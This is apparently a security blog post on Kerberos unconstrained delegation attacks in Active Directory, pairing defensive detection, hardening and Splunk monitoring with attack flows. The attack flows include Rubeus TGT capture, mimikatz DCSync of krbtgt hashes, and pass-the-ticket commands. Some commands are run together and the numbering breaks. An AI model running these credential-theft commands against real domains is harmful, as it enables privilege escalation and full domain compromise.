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Introduction
Kerberos, the authentication protocol used in Active Directory (AD), is a prime target for attackers due to its widespread adoption. Unconstrained delegation attacks exploit misconfigurations to escalate privileges, enabling adversaries to impersonate high-value accounts like Domain Admins. This article breaks down common attack flows and provides actionable mitigation techniques.
Learning Objectives
- Understand how unconstrained delegation attacks work in Active Directory.
- Learn key offensive and defensive commands using tools like Rubeus and Mimikatz.
- Implement hardening measures to prevent Kerberos-based privilege escalation.
1. Exploiting Unconstrained Delegation
Attack Flow (Privileged User)
- Gain admin rights on a compromised machine with unconstrained delegation enabled.
- Wait for a Domain Admin to authenticate to the compromised host.
- Steal the TGT (Ticket Granting Ticket) using Rubeus:
Rubeus.exe monitor /interval:5 /filteruser:DOMAIN_ADMIN
– This captures the DA’s TGT for offline use.
4. Access admin shares or perform DCSync:
ls \DC01\C$ Access admin share mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt" Extract password hashes
2. Lateral Movement for Non-Privileged Users
Attack Flow (Non-Privileged User)
1. Request a TGT for the current user:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:HASH /nowrap
2. Enumerate group memberships with PowerView:
Get-NetGroupMember -GroupName "Domain Admins"
3. Pass-the-Ticket (PtT) to escalate access:
Rubeus.exe ptt /ticket:BASE64_TICKET
3. Detecting Unconstrained Delegation
Defensive Command (PowerShell)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select Name
– Lists all systems with unconstrained delegation enabled.
4. Mitigating Unconstrained Delegation
Hardening Steps
1. Disable unconstrained delegation where unnecessary:
Set-ADAccountControl -Identity SERVER$ -TrustedForDelegation $false
2. Enable Restricted/Constrained Delegation instead.
5. Monitoring for Anomalies
SIEM Query (Splunk Example)
index=windows EventCode=4769 TicketOptions=0x40810000
– Alerts on TGT requests indicative of delegation abuse.
What Undercode Say
Key Takeaways:
- Unconstrained delegation is a legacy setting that attackers exploit for privilege escalation.
- Tools like Rubeus and Mimikatz automate attack steps, but understanding the underlying Kerberos mechanics is critical.
- Proactive hardening (e.g., disabling delegation, monitoring TGT requests) is essential for defense.
Analysis:
The rise in Kerberos-based attacks underscores the need for AD environments to shift from permissive settings to zero-trust models. While offensive tools evolve, defenders can mitigate risks by auditing delegation settings, enforcing least privilege, and monitoring authentication logs for anomalous TGT requests. Future attacks may leverage AI to automate reconnaissance, making real-time detection even more critical.
Prediction:
As Microsoft pushes Azure AD, traditional Kerberos attacks will decline, but hybrid environments will remain vulnerable. Organizations must prioritize cloud-aware detection rules and phase out unconstrained delegation entirely.
IT/Security Reporter URL:
Reported By: Activity 7339685979982569475 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
